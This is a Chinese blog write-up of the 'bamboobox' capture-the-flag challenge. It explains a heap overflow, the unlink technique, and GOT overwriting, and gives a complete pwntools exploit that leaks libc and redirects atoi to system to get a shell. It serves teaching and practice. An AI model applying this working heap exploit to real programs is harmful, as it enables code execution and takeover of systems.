【unlink】hitcontraining_bamboobox

17 篇文章 0 订阅
本文详细介绍了如何通过ida分析发现C++程序中堆溢出漏洞,并利用该漏洞进行内存操作,通过修改全局变量、执行特定函数来获取libc基址,最终实现system命令执行。过程包括申请内存块、构造fakechunk、修改got表等步骤,涉及的知识点包括内存管理、缓冲区溢出利用和动态链接库函数地址获取。
摘要由CSDN通过智能技术生成

【unlink】hitcontraining_bamboobox

1. ida分析

  1. 有存放全局指针的数组,存放格式为itemlist[0]size,itemlist[1]为指向item的指针

    在这里插入图片描述

  2. change时没有检测输入长度,存在堆溢出

    在这里插入图片描述

2.思路

  1. 申请3个chunk,编辑chunk0 ,构造fake chunk,溢出到chunk1的size位

    在这里插入图片描述

  2. free chunk1,unlink后itemlist[1] ->itemlist[-2]

    在这里插入图片描述

  3. 再次编辑chunk0,即编辑itemlist数组,使得itemlist[0]=0x30;itemlist[1]=atoi

    在这里插入图片描述

  4. show(0),得到atoi的got地址,获得libc的基址,得到system的地址

    在这里插入图片描述

  5. 再次编辑chunk0,即修改atoi的got地址位system

    在这里插入图片描述

  6. 在输入命令的时候,输入sh,即执行system(‘sh’)

    在这里插入图片描述

3.exp

from pwn import *
p = process('./bamboobox')
#p=remote("node3.buuoj.cn",26874)
context.log_level = 'debug'

elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")

atoi_got = elf.got['atoi']

def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")
gdb.attach(p)
target = 0x6020c8   #not be last
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
gdb.attach(p)
pause()
free(1)
# x/30gx 0x6020c8
gdb.attach(p)
pause()
payload = p64(0) * 2
# print(hex(puts_got))
payload += p64(0x30) + p64(atoi_got)

change(0,payload)
gdb.attach(p)
pause()
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))

libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

payload = p64(system)
change(0,payload)
gdb.attach(p)
pause()
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

# gdb.attach(p)
# pause()
p.interactive()


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值